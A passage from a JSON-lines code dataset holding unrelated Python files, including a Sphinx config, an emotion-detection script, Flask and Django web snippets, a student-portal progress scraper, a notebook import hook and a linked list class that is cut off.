'.DS_Store']\n\n# The default language to highlight source code in.\nhighlight_language = 'c'\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = True\n\n# -- Options for HTML output ---------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\n\n# Add any paths that contain custom themes here, relative to this directory.\nhtml_theme_path = ['_themes']\n\nimport sphinx_rtd_theme\nhtml_theme_path += [sphinx_rtd_theme.get_html_theme_path()]\nhtml_theme = \"sphinx_rtd_theme\"\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \" v documentation\".\nhtml_title = u'OPAE'\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n# html_short_title = u'OPAE'\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n# html_logo = \"_static/intel_rgb_62.png\"\n\n# The name of an image file (relative to this directory) to use as a favicon of\n# the docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n# 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'\n# 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'\n#html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n#html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'IntelFPGADocumentation'\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n\n# Latex figure (float) alignment\n#'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\n\n# Split document toctrees\nquick_start_doc = 'docs/fpga_api/quick_start/readme'\nprog_guide_doc = 'docs/fpga_api/prog_guide/readme'\ndrv_arch_doc = 'docs/drv_arch/drv_arch'\n#hssi_config_doc = 'docs/fpga_tools/hssi_config/readme'\n#hssi_loopback_doc = 'docs/fpga_tools/hssi_loopback/readme'\nhssi_tuner_doc = 'docs/fpga_tools/mhssi_tuner/readme'\nalaska_fw_loader_doc = 'docs/fpga_tools/alaska_fw_loader/readme'\nfpga_tools_doc = 'docs/fpga_tools/readme'\nase_userguide_doc = 'docs/ase_userguide/ase_userguide'\napi_build_doc = 'docs/build_chain/fpga_api/api_build'\ndriver_build_doc = 'docs/build_chain/fpga_driver/driver_build'\ninstall_guide_doc = 'docs/install_guide/installation_guide'\n\n\nlatex_documents = [\n (quick_start_doc, 'quick_start.tex', u'Intel FPGA Quick Start Guide', u'FPT SW Development Team', 'howto'),\n (prog_guide_doc, 'prog_guide.tex', u'Intel FPGA Programming Guide', u'FPT SW Development Team', 'howto'),\n (fpga_tools_doc, 'fpga_tools.tex', u'Intel FPGA Tools', u'FPT SW Development Team', 'howto'),\n # (fpgainfo_doc, 'fpgainfo.tex', u'fpgainfo', u'FPT SW Development Team', 'howto'),\n (ase_userguide_doc, 'ase_userguide.tex', u'Intel AFU Simulation Environment (ASE) User Guide', u'FPT SW Development Team', 'howto'),\n (api_build_doc, 'api_build.tex', u'apiBuild', u'FPT SW Development Team', 'howto'),\n (driver_build_doc, 'driver_build.tex', u'Building the Intel FPGA driver', u'FPT SW Development Team', 'howto'),\n (install_guide_doc, 'install_guide.tex', u'Intel FPGA Software Stack Installation Guide', u'FPT SW Development Team', 'howto'),\n (drv_arch_doc, 'drv_arch.tex', u'FPGA Driver Architecture', u'FPT SW Development Team', 'manual'),\n # (hssi_config_doc, 'hssi_config.tex', u'HSSI config manual', u'FPT SW Development Team', 'howto'),\n # (hssi_loopback_doc, 'hssi_loopback.tex', u'HSSI loopback manual', u'FPT SW Development Team', 'manual'),\n ]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal links.\n#latex_show_pagerefs = False\n\n# If true, show URL addresses after external links.\n#latex_show_urls = False\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\n#latex_domain_indices = True\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n# (master_doc, 'intel-fpga', u'Intel FPGA Documentation',\n# [author], 1),\n (\"docs/fpga_tools/coreidle/coreidle\", 'coreidle', u'Adjust number of active cores to account for FPGA power consumption', [author], 8),\n (\"docs/fpga_tools/error_monitor/fpga_errors\", 'fpgaerr', u'Error reporting and clearing', [author], 8),\n (\"docs/fpga_tools/fpgaconf/fpgaconf\", 'fpgaconf', u'Configure green bitstreams to an FPGA', [author], 8),\n (\"docs/fpga_tools/fpgad/fpgad\", 'fpgad', u'Log errors and generate events', [author], 8),\n (\"docs/fpga_tools/fpgadiag/README\", 'fpgadiag', u'FPGA diagnosis and testing tool', [author], 8),\n (\"docs/fpga_tools/fpgainfo/fpgainfo\", 'fpgainfo', u'FPGA information tool', [author], 8),\n (\"docs/fpga_tools/fpgamux/fpgamux\", 'fpgamux', u'Software MUX for running multiple AFU tests in one GBS', [author], 8),\n (\"docs/fpga_tools/hssi_config/readme\", 'hssi_config', u'Read from or write to HSSI registers', [author], 8),\n (\"docs/fpga_tools/hssi_loopback/readme\", 'hssi_loopback', u'Interact with a packet generator GBS', [author], 8),\n (\"docs/fpga_tools/mmlink/mmlink\", 'mmlink', u'Enable remote SignalTAP debugging', [author], 8),\n (\"docs/fpga_tools/thermal_power_monitor/power\", 'fpgapwr', u'Query power consumed by FPGA', [author], 8),\n (\"docs/fpga_tools/thermal_power_monitor/temp\", 'fpgatmp', u'Query FPGA temperature readings', [author], 8),\n (\"docs/fpga_tools/userclk/userclk\", 'userclk', u'Set AFU high and low clock frequency', [author], 8)\n]\n\n# If true, show URL addresses after external links.\n#man_show_urls = False\n\n# Example configuration for intersphinx: refer to the Python standard library.\nintersphinx_mapping = {'https://docs.python.org/': None}\n\n# app setup hook to enable AutoStructify (for ```eval_rst blocks)\ndef setup(app):\n app.add_config_value('recommonmark_config', {\n 'enable_auto_toc_tree': False,\n 'enable_auto_doc_ref': False,\n 'enable_math': False,\n 'enable_inline_math': False,\n 'enable_eval_rst': True,\n }, True)\n app.add_transform(AutoStructify)\n","sub_path":"doc/sphinx/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":11173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"89044049","text":"from future.moves import tkinter\nfrom tkinter.filedialog import askopenfilename\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array\nimport cv2\nimport numpy as np\n\nfiletypes = (('mp4 files', '*.mp4'), ('mkv files', '*.mkv'), ('mov files', '*.mov'))\n\n\nface_classifier = cv2.CascadeClassifier('./docs/haarcascade_frontalface_default.xml')\nclassifier = load_model('./models/take2_model_E25.h5')\n# BGR\nRED = (0, 0, 255)\nGREEN = (30, 238, 30)\nBLUE = (242, 184, 48)\nPURPLE = (211, 0, 148)\nGRAY = (128, 128, 128)\nWHITE = (255, 255, 255)\n\nclass_labels = ['Angry', 'Happy', 'Neutral', 'Sad', 'Surprise']\nemotion_color_map = {'Angry': RED, 'Happy': GREEN, 'Surprise': BLUE, 'Neutral': PURPLE, 'Sad': GRAY}\n\n\ndef videoHandler():\n path = input('Select Input\\n1.Webcam\\t2.Video file:\\n>>')\n if path == '1':\n cap = cv2.VideoCapture(0)\n print('launching camera...')\n print('Initiating the model...')\n elif path == '2':\n root = tkinter.Tk()\n root.withdraw()\n\n file_path = askopenfilename(initialdir='/Users/apple', title='image', filetypes=filetypes)\n cap = cv2.VideoCapture(file_path)\n print('Analyzing the video...')\n else:\n print('Invalid input')\n exit()\n while True:\n # Grab a single frame of video\n ret, frame = cap.read()\n labels = []\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_classifier.detectMultiScale(gray, 1.3, 2)\n\n for (x, y, w, h) in faces:\n roi_gray = gray[y:y + h, x:x + w]\n roi_gray = cv2.resize(roi_gray, (48, 48), interpolation=cv2.INTER_AREA)\n\n if np.sum([roi_gray]) != 0:\n roi = roi_gray.astype('float') / 255.0\n roi = img_to_array(roi)\n roi = np.expand_dims(roi, axis=0)\n\n # make a prediction on the ROI, then lookup the class\n\n preds = classifier.predict(roi)[0]\n # print(\"prediction = \", preds)\n label = class_labels[preds.argmax()]\n # print(\"prediction max = \", preds.argmax())\n cv2.rectangle(frame, (x, y), (x + w, y + h), emotion_color_map[label], 2)\n # print(\"Emotion = \", label, \"\\n\")\n label_position = (x, y)\n cv2.rectangle(frame, (x, y), (x + int(w / 2.5), y - int(h / 12)), emotion_color_map[label], -1)\n cv2.putText(frame, label, label_position,\n cv2.FONT_HERSHEY_SIMPLEX, 1, WHITE, 2)\n else:\n cv2.putText(frame, 'No Face Found', (20, 60),\n cv2.FONT_HERSHEY_SIMPLEX, 1, WHITE, 3)\n # print(\"\\n\\n\")\n small_frame = cv2.resize(frame, (960, 540))\n cv2.imshow(\"Emotion Detector - Press 'q' to quit\", small_frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\n# videoHandler()\n","sub_path":"logic/videoAnalyzer.py","file_name":"videoAnalyzer.py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"303133224","text":"\"\"\"\nDado um número inteiro positivo n,\ncalcular a soma dos n primeiros números inteiros positivos.\n\"\"\"\n\nn = int(input(\"Digite n: \"))\ncont = 0\nsoma = 0\nwhile cont < n:\n num = int(input(\"Digite um número da sequência: \"))\n if num > 0:\n soma = soma + num\n cont = cont + 1\nprint(\"Resultado:\", soma)\n","sub_path":"Aulas Python/Conteúdo das Aulas/013/Gabarito/Gabarito - Exercicio 1.py","file_name":"Gabarito - Exercicio 1.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"324830405","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 19 23:09:14 2016\r\n\r\n@author: sleeba\r\n\"\"\"\r\nimport csv\r\nimport pandas as pd\r\nexampleFile_A = open('fileA.csv') #importing file A\r\nexampleReader_A = csv.reader(exampleFile_A)\r\nexampleData_A = dict(exampleReader_A) \r\nexampleFile_B = open('fileB.csv') #importing file B\r\nexampleReader_B = csv.reader(exampleFile_B)\r\nexampleData_B = dict(exampleReader_B)\r\nfirst_list=exampleData_A.keys() \r\nsecond_list=exampleData_B.keys()\r\nin_first = set(first_list) #joining two lists without duplicate for indexing dataframe\r\nin_second = set(second_list)\r\nin_second_but_not_in_first = in_second - in_first\r\nresult = first_list + list(in_second_but_not_in_first)\r\ncolumns = ['From_file_A', 'From_file_B'] #columns of dataframe\r\ndf= pd.DataFrame(index=result,columns=columns) #defining pandas dataframe\r\ncount=0\r\nfor k in df.index.values: #iterating through indices of dataframe\r\n if k in exampleData_A.keys() and k in exampleData_B.keys(): #case of keys present in both files\r\n df['From_file_A'][count]=exampleData_A[k]\r\n df['From_file_B'][count]=exampleData_B[k]\r\n count+=1\r\n elif k in exampleData_A.keys(): #case of keys present in file A only\r\n df['From_file_A'][count]=exampleData_A[k]\r\n count+=1\r\n elif k in exampleData_B.keys(): #case of keys present in file B only\r\n df['From_file_B'][count]=exampleData_B[k]\r\n count+=1\r\ndf.to_csv('out.csv') #saving dataframe as a new .csv file ","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"345856846","text":"import os\nimport sys\nimport json\n\n# def integrity_checker(s):\n\ndef dict_raise_on_duplicates(ordered_pairs):\n \"\"\"Reject duplicate keys.\"\"\"\n d = {}\n for k, v in ordered_pairs:\n if k in d:\n raise ValueError()\n elif v is not None:\n d[k] = v\n return d \n\ndef extract_name_age(directory, prefix):\n try:\n w = open(directory + prefix +'.txt', 'w')\n except:\n return\n for fname in os.listdir(directory):\n if fname.startswith(prefix):\n f = open(directory + fname, 'r')\n for line in f:\n try:\n j_content = json.loads(line, object_pairs_hook=dict_raise_on_duplicates)\n name = j_content['name']\n age = j_content['prop']['age']\n if type(age) is int and age >= 0:\n w.write(name + '\\t' + str(age) + '\\n')\n except:\n continue\n f.close() \n w.close()\n\nextract_name_age(directory = '/home/ec2-user/whatever/data/', prefix = sys.argv[1])\n\n\n ","sub_path":"test/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"391730594","text":"def number_to_pattern(number, klen):\n\n digits_list = []\n pattern = ''\n\n for i in range(klen):\n remainder = number%4\n number = int(number/4)\n\n digits_list.append(remainder)\n\n # reverse digits_list to have ith element correspond to ith digits place\n digits_list = digits_list[::-1]\n\n for j in digits_list:\n if j == 0:\n pattern = pattern + 'A'\n elif j == 1:\n pattern = pattern + 'C'\n elif j == 2:\n pattern = pattern + 'G'\n elif j == 3:\n pattern = pattern + 'T'\n else:\n print('error')\n return None\n\n return pattern\n","sub_path":"Rosalind/BA1M.py","file_name":"BA1M.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"156070359","text":"#Team Flag - Brandon Chen, Tammy Chen. Grace Mao\n#SoftDev1 pd9\n#K15 -- Do I Know You?\n#2019-10-02\n\nfrom flask import Flask, render_template, request, redirect, url_for, session\nimport os\napp = Flask(__name__)\n\n#hardcoded username and passwords\nuser = \"flag\"\npword = \"jamaica\"\napp.secret_key = os.urandom(32)\n\n@app.route(\"/\") #redirects depending on...\ndef home():\n if \"in\" in session: #if you're logged in or...\n return redirect(\"/welcome\")\n else: #if you're not logged in\n return redirect(\"/login\")\n\n@app.route(\"/welcome\") #woah you're logged in, welcome to the welcome page\ndef welcome():\n if \"in\" in session:\n return render_template('welcome.html')\n return redirect(\"/login\") #unless you're lying, then you have to go login\n\n@app.route(\"/auth\") #will check the username and password\ndef auth():\n if (user == request.args['username']):\n if (pword == request.args['password']): #perfect you are now logged in\n session[\"in\"] = True\n return redirect(\"/welcome\")\n return render_template(\"error.html\", reason = \"Wrong password\") #the username is right but the password is wrong\n else:\n return render_template(\"error.html\", reason = \"Wrong username\") #the username is wrong\n return render_template(\"error.html\", reason = \"bad juju\") #never happens\n\n@app.route(\"/logout\") #after you logout\ndef logout():\n if \"in\" in session:\n session.pop(\"in\") #session modified\n return render_template('logout.html')\n\n@app.route(\"/login\") #login page\ndef login():\n if \"in\" in session: #if you're already logged in\n return redirect('/welcome')\n return render_template('login.html') #else load the login template\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n","sub_path":"fall/15_login/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"103444113","text":"__author__ = 'chris'\n\nfrom docx import Document\nfrom subprocess import Popen, PIPE\nimport re\n\ndef document_to_text(filename, file_path):\n if filename[-4:] == \".doc\":\n cmd = ['antiword', file_path]\n p = Popen(cmd, stdout=PIPE)\n stdout, stderr = p.communicate()\n return stdout.decode('ascii', 'ignore')\n\n\n elif filename[-5:] == \".docx\":\n document = Document('file_path')\n newparatextlist = []\n for paratext in document:\n newparatextlist.append(paratext.text)\n return '\\n\\n'.join(newparatextlist)\n\ndef get_headers(file):\n import xml.etree.ElementTree as ET\n document = Document(file)\n namespace = dict(w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\")\n header_uri = \"http://schemas.openxmlformats.org/officeDocument/2006/relationships/header\"\n headers = []\n for rel, val in document._document_part._rels.iteritems():\n if val._reltype == header_uri:\n xml = val._target._blob\n root = ET.fromstring(xml)\n text_element = root.find(\".//w:t\", namespace)\n if text_element.text is not None:\n headers.append(text_element.text)\n return headers\n\ndef f2(seq):\n # order preserving\n checked = []\n for e in seq:\n if e not in checked:\n checked.append(e)\n return checked\n\ndef addSpace(strDate):\n for i in range(0,len(strDate)):\n if strDate[i].isalpha() and strDate[i+1].isdigit():\n return strDate[:i+1]+' '+strDate[i+1:]\n\ndef asr(doc):\n dates = []\n for t in doc.tables:\n\n for cells in t.column_cells(3):\n if cells.text != 'SAMPLE START DATE & TIME':\n dates.append(addSpace(''.join(cells.text.split())[:-5].upper()))\n dates = f2(dates)\n return dates\n\ndef dateGetter(text):\n date = re.search('((?<=On )|(?<=on ))(January|February|March|April|May|June|July|August|September|October|November|December) \\d+, 20\\d{2}', text)\n if date:\n return date.group(0)\n else:\n return ''\n\ndef sAddGetter(text):\n add = re.search('(?<=Prepared for )|(?<= performed an asbestos assessment at )|(?<=arrived at ).*? Alberta', text)\n\n if add:\n return add.group(0)\n else:\n return ''\n\ndef aAddGetter(text):\n add = re.search('(?<=at ).*? Alberta', text)\n\n if add:\n return add.group(0)\n else:\n return ''\n\n\n","sub_path":"doctotext.py","file_name":"doctotext.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"496330610","text":"from django import forms\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom django_comments.forms import CommentForm\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Hidden, Submit\n\nfrom . import get_model\n\nimport django_comments\n\n\nclass MyCommentForm(CommentForm):\n parent = forms.IntegerField(required=False, widget=forms.HiddenInput)\n\n def __init__(self, target_object, parent=None, data=None, initial=None, **kwargs):\n self.parent = parent\n if initial is None:\n initial = {}\n initial.update({'parent': self.parent})\n super(MyCommentForm, self).__init__(target_object, data=data, initial=initial, **kwargs)\n\n self.helper = FormHelper(self)\n self.helper.form_action = django_comments.get_form_target()\n self.helper.layout = Layout(\n Div(\n 'honeypot',\n 'parent',\n 'content_type',\n 'object_pk',\n 'timestamp',\n 'security_hash',\n Hidden('next', '{% url \"comments:comment_success\" %}'),\n Div(\n 'name', css_class='col-md-4'\n ),\n Div(\n 'email', css_class='col-md-4'\n ),\n Div(\n 'url', css_class='col-md-4'\n ),\n Div(\n 'comment', css_class='col-md-12'\n ),\n css_class='row'\n )\n )\n self.helper.add_input(Submit('submit', '发表评论', css_class='btn-sm pull-xs-right'))\n self.fields['comment'].widget.attrs['rows'] = 6\n self.fields['comment'].label = '评论'\n self.fields['name'].label = '名字'\n self.fields['url'].label = '网址'\n\n def get_comment_model(self):\n return get_model()\n\n def get_comment_create_data(self):\n d = super(MyCommentForm, self).get_comment_create_data()\n d['parent_id'] = self.cleaned_data['parent']\n return d\n","sub_path":"comments/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"634620220","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom frontend import settings\nimport json\nfrom .models import *\nimport random\nimport requests\n\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\n\n# Create your views here.\n\ndef is_chinese(uchar):\n if uchar >= u'\\u4e00' and uchar<=u'\\u9fa5':\n return True\n else:\n return False\n\ndef keyword_api(keyword, yan, last_poem):\n known_yan = {'5': 5, '7': 7}\n if yan not in known_yan:\n return {'error': 3, 'msg': 'yan not in (5, 7)'}\n yan = known_yan[yan]\n if type(keyword) != type(u'') or keyword == '':\n return {'error': 4, 'msg': 'keyword not correct'}\n for ch in keyword:\n if not is_chinese(ch):\n return {'error': 5, 'msg': 'keyword not chinese'}\n cache = KeywordCache.objects.filter(keyword=keyword, yan=yan)\n if not cache:\n cache = KeywordCache(keyword=keyword, yan=yan, poems=json.dumps([]))\n cache.save()\n else:\n cache = cache.first()\n try:\n poems = json.loads(cache.poems)\n except ValueError as e:\n poems = []\n if len(poems) >= 5:\n poem = random.sample(poems, 1)[0]\n while poem == last_poem:\n poem = random.sample(poems, 1)[0]\n else:\n url = '{0}generate'.format(settings.POEM_API_BASEURL)\n data_to_send = json.dumps({'parameter': {'keyword': keyword, 'yan': yan}, 'user': settings.POEM_API_USER})\n response = requests.post(url, data=data_to_send)\n if response.status_code != 200:\n return {'error': 1, 'msg': 'remote response status failed'}\n res = response.json()\n if res['info']['info_code'] != 0:\n return {'error': 2, 'msg': res['info']['info_str']}\n poem = res['poem']\n if poem not in poems:\n poems.append(poem)\n cache.poems = json.dumps(poems)\n cache.save()\n return {'error': 0, 'msg': 'ok', 'poem': poem}\n\ndef index(request):\n return render(request, 'poem/index.html')\n\n@csrf_exempt\ndef keyword_json(request):\n keyword = request.POST.get('keyword')\n yan = request.POST.get('yan')\n last_poem = request.POST.get('last_poem')\n return HttpResponse(json.dumps(keyword_api(keyword, yan, last_poem)), content_type=\"application/json\")\n","sub_path":"poem/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"153320809","text":"from .densenet import *\nfrom .googlenet import *\nfrom .resnet import *\nfrom .mobilenetv2 import *\nfrom .efficientnet import *\n\n__factory = {\n 'efficientnet': EfficientNetB0,\n 'densenet': DenseNet121,\n 'resnet': ResNet18,\n 'googlenet': GoogLeNet,\n 'mobilenet': MobileNetV2,\n}\n\ndef init_model(name, pre_dir, *args, **kwargs):\n if name not in __factory.keys():\n raise KeyError(\"Unknown model: {}\".format(name))\n\n net = __factory[name](*args, **kwargs)\n checkpoint = torch.load(pre_dir)\n state_dict = checkpoint['net'] if isinstance(checkpoint, dict) and 'net' in checkpoint else checkpoint\n change = False\n for k, v in state_dict.items():\n if k[:6] == 'module':\n change = True\n break\n if not change:\n new_state_dict = state_dict\n else:\n from collections import OrderedDict\n new_state_dict = OrderedDict()\n for k,v in state_dict.items():\n name = k[7:]\n new_state_dict[name] = v\n net.load_state_dict(new_state_dict)\n net.eval()\n net.volatile = True\n return net\n\n","sub_path":"PGD/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"199448041","text":"from flask import render_template, request\nfrom twill.commands import *\nfrom bs4 import BeautifulSoup\nimport re\nimport itertools\nimport getpass\nfrom flask import Flask, render_template, request, url_for\nimport urllib2\n\n\npc_values = []\nstring_list = []\nint_list = []\nintegers = []\n\ndef getAttpted_units(heartdis_int):\n\tattempted_units = 0\n\tno_modules = len(heartdis_int)\n\tfor i in range(0,no_modules):\n\t\tif heartdis_int[i] != 0:\n\t\t\tattempted_units += 1\n\tstrReturn = str(attempted_units) + '/' + str(no_modules)\n\treturn strReturn\n\ndef getOverall(heartdis_int):\n\ttotal_pc = 0\n\tno_modules = len(heartdis_int)\n\toverall_pc = no_modules * 100\n\tfor i in range(0,len(heartdis_int)):\n\t\ttotal_pc += heartdis_int[i]\n\tstrpercent = float(total_pc)/float(overall_pc) \n\treturn strpercent\n\ndef calculateProgress(int_list):\n\t\n\theartdis_int = []\n\theartdis2 = list(itertools.chain.from_iterable(int_list))\n\tfor item in heartdis2:\n\t\theartdis_int.append(int(item))\n\treturn heartdis_int\n\t\ndef listNodes(node):\n\tpc_values.append(node)\n\ndef getPercentItems():\n\tecj_data = open(\"evoccapage.html\",'r').read()\n\tsoup = BeautifulSoup(ecj_data)\n\tfor node in soup.find_all(\"span\", class_=\"checklist_progress_percent\"):\n\t\tlistNodes(node)\n\ndef parseNodes(pc_values):\n\tfor item in pc_values:\n\t\tstr_item = str(item)\n\t\tstring_list.append(str_item)\n\tsearch1 = re.compile('\\d+')\n\tfor x in string_list:\n\t\tsearch_item = search1.findall(x)\n\t\tint_list.append(search_item)\n\treturn int_list\n\ndef getCreds():\n\treturn render_template('index.html')\n\n\t\t\ndef getResult():\n\tgo('https://my.evocca.edu.au/login/index.php')\n\tusername = request.form['email']\n\tpassword = request.form['password']\n\tfv(\"1\", \"username\", username)\n\tfv(\"1\", \"password\", password)\n\n\tsubmit('0')\n\tsave_html('evoccapage.html')\n\n\tgetPercentItems()\n\tint_list1 = parseNodes(pc_values)\n\theartthis = calculateProgress(int_list1)\n\tresult = getAttpted_units(heartthis)\n\toverall = getOverall(heartthis)\n\tfull_percentage = overall * 100\n\treturn render_template('results.html', modules=result, percent=overall, pc_full=full_percentage)\n\t\n\n\n\n\n\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"140173060","text":"\"\"\"\nFileSystem based importer for ipynb / .py files.\n\nIf you prefix module names with 'ipynb.fs', it'll try to treat them exactly\nthe same way as .py files. All the output is ignored, and all the code is imported\nas if the cells were linearly written to be in a flat file.\n\"\"\"\nimport sys\nimport os\n\nfrom importlib.abc import MetaPathFinder, Loader\nfrom importlib.machinery import ModuleSpec\n\nfrom ipynb.utils import get_code\n\n\nclass FSLoader(MetaPathFinder, Loader):\n \"\"\"\n Finder & Loader for ipynb/py files from the filesystem.\n\n Only tries to load modules that are under ipynb.fs.\n Tries to treat .ipynb and .py files exactly the same as much as possible.\n \"\"\"\n def _get_paths(self, fullname):\n \"\"\"\n Generate ordered list of paths we should look for fullname module in\n \"\"\"\n real_path = os.path.join(*fullname[len(__package__):].split('.'))\n for base_path in sys.path:\n if base_path == '':\n # Empty string means process's cwd\n base_path = os.getcwd()\n path = os.path.join(base_path, real_path)\n yield path + '.ipynb'\n yield path + '.py'\n yield os.path.join(path, '__init__.ipynb')\n yield os.path.join(path, '__init__.py')\n\n def get_source(self, fullname):\n for path in self._get_paths(fullname):\n try:\n with open(path) as f:\n return get_code(f, path.endswith('.ipynb'))\n except FileNotFoundError:\n continue\n # If none of our paths match, fail the import!\n raise ImportError('Could not import {name}'.format(name=fullname))\n\n def get_code(self, fullname):\n return compile(self.get_source(fullname), '', 'exec', dont_inherit=True)\n\n def exec_module(self, module):\n \"\"\"\n \"\"\"\n exec(self.get_source(module.__name__), module.__dict__)\n\n def find_spec(self, fullname, path, target=None):\n \"\"\"\n Claims modules that are under ipynb.fs\n \"\"\"\n if fullname.startswith(__package__):\n subpath = fullname[len(__package__):].replace(' ', '_')\n base_path = os.path.abspath(os.path.join(*subpath.split('.')))\n return ModuleSpec(\n name=fullname,\n loader=self,\n origin='ipynb.fs',\n is_package=os.path.isdir(base_path)\n )\n\nsys.meta_path.append(FSLoader())\n","sub_path":"ipynb/fs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"573036171","text":"from No import No\n\nclass Lista:\n def __init__(self):\n self.inicio = None\n self.tamanho = 0\n\n def __len__(self):\n return self.tamanho\n\n def __str__(self):\n if self.inicio:\n retorno = \"\\033[96m---------------------------------------------------------------------------------------------------------|\\033[00m\\n\"\n retorno += \"\\033[96m{: ^34} \\033[00m|\\033[96m {: ^30s}\\033[00m | \\033[96m{: ^34s} |\\033[00m\\n\".format('endereço do nó', 'dado','proximo')\n no_auxiliar = self.inicio\n\n while( no_auxiliar.proximo ):\n retorno += \"{} |\\033[96m{:<30}\\033[00m | {}\\n\".format(no_auxiliar, no_auxiliar.dado , no_auxiliar.proximo)\n no_auxiliar = no_auxiliar.proximo\n\n retorno += \"{} |\\033[96m{:<30}\\033[00m | {}\\n\".format(no_auxiliar, no_auxiliar.dado , no_auxiliar.proximo)\n return retorno\n\n else:\n return \"Lista vazia\"\n\n def adicionar(self, valor):\n '''\n Adiciona um valor ao fim da lista\n '''\n if 